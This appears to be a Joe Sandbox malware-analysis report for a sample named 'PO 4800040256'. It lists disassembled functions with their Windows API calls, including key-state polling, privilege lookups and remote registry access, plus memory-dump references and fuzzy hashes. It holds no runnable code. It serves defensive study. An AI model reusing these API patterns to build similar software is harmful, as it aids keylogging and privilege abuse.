                                                                                                                                                                      Function 0044920C Relevance: 18.2, APIs: 12, Instructions: 243windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(?,00000000,000000FF,?), ref: 0044931D
                                                                                                                                                                      • SendMessageW.USER32(?,0045BBB0,00000000,00000000), ref: 0044932D
                                                                                                                                                                      • CharNextW.USER32(?,?,?,?,0045BBB0,00000000,00000000,?,?), ref: 00449361
                                                                                                                                                                      • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449375
                                                                                                                                                                      • SendMessageW.USER32(?,00000402,?), ref: 0044941C
                                                                                                                                                                      • SendMessageW.USER32(004A83D8,000000C2,00000001,?), ref: 004494A0
                                                                                                                                                                      • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449515
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$CharNext
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1350042424-0
                                                                                                                                                                      • Opcode ID: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                                      • Instruction ID: cf19a455924c4199ae2d31ef2e344bdd2865620a2145bd440d1f5c61272ee54d
                                                                                                                                                                      • Opcode Fuzzy Hash: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                                      • Instruction Fuzzy Hash: 5D81B5312083019BE720DF15DC85FBBB7E4EBD9B20F00492EFA54962C0D7B99946D766
                                                                                                                                                                      Function 00453B94 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetKeyboardState.USER32(?,?,00000000), ref: 00453C0D
                                                                                                                                                                      • SetKeyboardState.USER32(?), ref: 00453C5A
                                                                                                                                                                      • GetAsyncKeyState.USER32(000000A0), ref: 00453C82
                                                                                                                                                                      • GetKeyState.USER32(000000A0), ref: 00453C99
                                                                                                                                                                      • GetAsyncKeyState.USER32(000000A1), ref: 00453CC9
                                                                                                                                                                      • GetKeyState.USER32(000000A1), ref: 00453CDA
                                                                                                                                                                      • GetAsyncKeyState.USER32(00000011), ref: 00453D07
                                                                                                                                                                      • GetKeyState.USER32(00000011), ref: 00453D15
                                                                                                                                                                      • GetAsyncKeyState.USER32(00000012), ref: 00453D3F
                                                                                                                                                                      • GetKeyState.USER32(00000012), ref: 00453D4D
                                                                                                                                                                      • GetAsyncKeyState.USER32(0000005B), ref: 00453D77
                                                                                                                                                                      • GetKeyState.USER32(0000005B), ref: 00453D85
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: State$Async$Keyboard
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 541375521-0
                                                                                                                                                                      • Opcode ID: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                                      • Instruction ID: 09d2c23b2f41f951af40c960ff4fa7a39ed3d74d48f5bb091813d5d41b5bf946
                                                                                                                                                                      • Opcode Fuzzy Hash: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                                      • Instruction Fuzzy Hash: BD5108311497C42AF731EF6048217A7BBE45F52782F488D5EE9C107283E619AB0C976B
                                                                                                                                                                      Function 00437DB1 Relevance: 18.2, APIs: 12, Instructions: 180COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetDlgItem.USER32(?,00000001), ref: 00437DD7
                                                                                                                                                                      • GetWindowRect.USER32(00000000,?), ref: 00437DE9
                                                                                                                                                                      • MoveWindow.USER32(00000000,0000000A,?,?,?,00000000), ref: 00437E5C
                                                                                                                                                                      • GetDlgItem.USER32(?,00000002), ref: 00437E70
                                                                                                                                                                      • GetWindowRect.USER32(00000000,?), ref: 00437E82
                                                                                                                                                                      • MoveWindow.USER32(00000000,?,00000000,?,?,00000000), ref: 00437EDB
                                                                                                                                                                      • GetDlgItem.USER32(?,000003E9), ref: 00437EEA
                                                                                                                                                                      • GetWindowRect.USER32(00000000,?), ref: 00437EFC
                                                                                                                                                                      • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00437F46
                                                                                                                                                                      • GetDlgItem.USER32(?,000003EA), ref: 00437F55
                                                                                                                                                                      • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 00437F6E
                                                                                                                                                                      • InvalidateRect.USER32(?,00000000,00000001), ref: 00437F78
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$ItemMoveRect$Invalidate
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3096461208-0
                                                                                                                                                                      • Opcode ID: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                                                                                                      • Instruction ID: 6334a21bf5495bf578199e0a0c43900503e40640961724061e29feeedb49a886
                                                                                                                                                                      • Opcode Fuzzy Hash: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                                                                                                      • Instruction Fuzzy Hash: 46511CB16083069FC318DF68DD85A2BB7E9ABC8300F144A2DF985D3391E6B4ED058B95
                                                                                                                                                                      Function 00436879 Relevance: 18.1, APIs: 12, Instructions: 115COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 136442275-0
                                                                                                                                                                      • Opcode ID: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                                                                                      • Instruction ID: e47e2093bf76b35e8f1fec89578fc46911e8a4506192668d3a16ce6d5165f020
                                                                                                                                                                      • Opcode Fuzzy Hash: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                                                                                      • Instruction Fuzzy Hash: 744124B2408345ABC235E754C885EEF73ECABD8314F44891EB68D42141EB796688C7A7
                                                                                                                                                                      Function 0046B39A Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 401registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B479
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ConnectRegistry_wcslen
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 535477410-2761332787
                                                                                                                                                                      • Opcode ID: e167cb1a0d39dc08627fc1a452005d5be18e6f56cd7a12c3ea5d5bbd580dbf7f
                                                                                                                                                                      • Instruction ID: 7a368be733395892e28f24b11b3b05e85d853a2cd395d98498a1c99032eed9d9
                                                                                                                                                                      • Opcode Fuzzy Hash: e167cb1a0d39dc08627fc1a452005d5be18e6f56cd7a12c3ea5d5bbd580dbf7f
                                                                                                                                                                      • Instruction Fuzzy Hash: 63E171B1604200ABC714EF28C981F1BB7E4EF88704F148A1EF685DB381D779E945CB9A
                                                                                                                                                                      Function 00460473 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetClassNameW.USER32(?,?,00000400), ref: 004604B5
                                                                                                                                                                      • GetWindowTextW.USER32(?,?,00000400), ref: 004604F1
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00460502
                                                                                                                                                                      • CharUpperBuffW.USER32(?,00000000), ref: 00460510
                                                                                                                                                                      • GetClassNameW.USER32(?,?,00000400), ref: 00460589
                                                                                                                                                                      • GetWindowTextW.USER32(?,?,00000400), ref: 004605C2
                                                                                                                                                                      • GetClassNameW.USER32(?,?,00000400), ref: 00460606
                                                                                                                                                                      • GetClassNameW.USER32(?,?,00000400), ref: 0046063E
                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 004606AD
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen
                                                                                                                                                                      • String ID: ThumbnailClass
                                                                                                                                                                      • API String ID: 4123061591-1241985126
                                                                                                                                                                      • Opcode ID: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                                                                                      • Instruction ID: b645ef8d54a60b7d8a856e9fdf4d8999e4c56e3b903fe9b51be5921097eabf2a
                                                                                                                                                                      • Opcode Fuzzy Hash: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                                                                                      • Instruction Fuzzy Hash: 3F91B0715043019FDB14DF24C884BAB77A8EF84715F04896FFD85AA281E778E905CBAB
                                                                                                                                                                      Function 0046F50B Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 157windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00456354: GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                                        • Part of subcall function 00456354: ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                                        • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                                        • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                                      • DefDlgProcW.USER32(?,00000205,?,?,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F55F
                                                                                                                                                                      • ImageList_DragLeave.COMCTL32(00000000,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F57D
                                                                                                                                                                      • ImageList_EndDrag.COMCTL32 ref: 0046F583
                                                                                                                                                                      • ReleaseCapture.USER32 ref: 0046F589
                                                                                                                                                                      • SetWindowTextW.USER32(?,00000000), ref: 0046F620
                                                                                                                                                                      • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0046F630
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
                                                                                                                                                                      • String ID: @GUI_DRAGFILE$@GUI_DROPID$HH
                                                                                                                                                                      • API String ID: 2483343779-2060113733
                                                                                                                                                                      • Opcode ID: b963958ab96ed52e1c3ab3b45c628991f908dc465e455618a5f6fc8545d443fb
                                                                                                                                                                      • Instruction ID: 4b94e37398fb4c0e8bf176de98e3888209b69965db7f8e5b86c8cb252d1f017b
                                                                                                                                                                      • Opcode Fuzzy Hash: b963958ab96ed52e1c3ab3b45c628991f908dc465e455618a5f6fc8545d443fb
                                                                                                                                                                      • Instruction Fuzzy Hash: EB5106716043119BD700DF18DC85FAF77A5EB89310F04492EF941973A2DB789D49CBAA
                                                                                                                                                                      Function 0046FD7F Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 143windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 0046FD8A
                                                                                                                                                                      • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,004A83D8,?), ref: 0046FDF0
                                                                                                                                                                      • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 0046FE0E
                                                                                                                                                                      • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?,004A83D8,?), ref: 0046FE20
                                                                                                                                                                      • SendMessageW.USER32(?,0000113E,00000000,?), ref: 0046FEA5
                                                                                                                                                                      • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0046FEDF
                                                                                                                                                                      • GetClientRect.USER32(?,?), ref: 0046FEF2
                                                                                                                                                                      • RedrawWindow.USER32(?,?,00000000,00000000), ref: 0046FF02
                                                                                                                                                                      • DestroyIcon.USER32(?), ref: 0046FFCC
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: IconMessageSend$ImageList_$ClientCreateDestroyExtractRectRedrawReplaceWindow
                                                                                                                                                                      • String ID: 2
                                                                                                                                                                      • API String ID: 1331449709-450215437
                                                                                                                                                                      • Opcode ID: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                                                                                      • Instruction ID: e79942d1a0196d9b5e30c5c178d8ccafd59c9ae1e7fac48b8759c586c5a3b44e
                                                                                                                                                                      • Opcode Fuzzy Hash: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                                                                                      • Instruction Fuzzy Hash: EB51AC702043019FD320CF44D885BAABBE5FB88700F04487EE684872A2D7B5A849CB5A
                                                                                                                                                                      Function 00450E7D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?,?,00000000,static,00000000,00000000,?,?,00000000,00000000,?,00000000), ref: 00450EE1
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DestroyWindow
                                                                                                                                                                      • String ID: static
                                                                                                                                                                      • API String ID: 3375834691-2160076837
                                                                                                                                                                      • Opcode ID: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                                                                                                                      • Instruction ID: 4605c95b1b006c90d65e271c0fdf07f62d21d56273c2870bf7f2e3decf5281c5
                                                                                                                                                                      • Opcode Fuzzy Hash: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                                                                                                                      • Instruction Fuzzy Hash: 4531B572200300BBD7109B64DC45F6BB3A8EBC9711F204A2EFA50D72C0D7B4E8048B69
                                                                                                                                                                      Function 004393E2 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 109threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439409
                                                                                                                                                                      • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 0043940C
                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?), ref: 0043941D
                                                                                                                                                                      • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 00439420
                                                                                                                                                                      • LookupPrivilegeValueW.ADVAPI32(00000000,SeAssignPrimaryTokenPrivilege,?), ref: 0043945B
                                                                                                                                                                      • LookupPrivilegeValueW.ADVAPI32(00000000,SeIncreaseQuotaPrivilege,?), ref: 00439474
                                                                                                                                                                      • _memcmp.LIBCMT ref: 004394A9
                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004394F8
                                                                                                                                                                      Strings
                                                                                                                                                                      • SeIncreaseQuotaPrivilege, xrefs: 0043946A
                                                                                                                                                                      • SeAssignPrimaryTokenPrivilege, xrefs: 00439455
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread_memcmp
                                                                                                                                                                      • String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
                                                                                                                                                                      • API String ID: 1446985595-805462909
                                                                                                                                                                      • Opcode ID: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                                      • Instruction ID: 628aaead06b6f58e004e5b45c2ed9710a22b4d2b921ab75b424857e8fd72c9d6
                                                                                                                                                                      • Opcode Fuzzy Hash: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                                      • Instruction Fuzzy Hash: DB31A371508312ABC710DF21CD41AAFB7E8FB99704F04591EF98193240E7B8DD4ACBAA
                                                                                                                                                                      Function 0045D83D Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 86COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 0045D848
                                                                                                                                                                      • GetDriveTypeW.KERNEL32(?,?), ref: 0045D8A3
                                                                                                                                                                      • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D94A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ErrorMode$DriveType
                                                                                                                                                                      • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$HH
                                                                                                                                                                      • API String ID: 2907320926-41864084
                                                                                                                                                                      • Opcode ID: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                                                                                      • Instruction ID: d4cab332979e247f8c2da9788294718902473fa09eb5ff996f03d25688ce9cbb
                                                                                                                                                                      • Opcode Fuzzy Hash: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                                                                                      • Instruction Fuzzy Hash: C7318B75A083008FC310EF65E48481EB7A1AFC8315F648D2FF945A7362C779D9068BAB
                                                                                                                                                                      Function 00467214 Relevance: 16.8, APIs: 11, Instructions: 313COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 004672E6
                                                                                                                                                                      • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046735D
                                                                                                                                                                      • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467375
                                                                                                                                                                      • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004673ED
                                                                                                                                                                      • SafeArrayGetVartype.OLEAUT32(CE8B7824,?), ref: 00467418
                                                                                                                                                                      • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467445
                                                                                                                                                                      • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046746A
                                                                                                                                                                      • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 00467559
                                                                                                                                                                      • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 0046748A
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                        • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                      • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467571
                                                                                                                                                                      • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004675E4
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
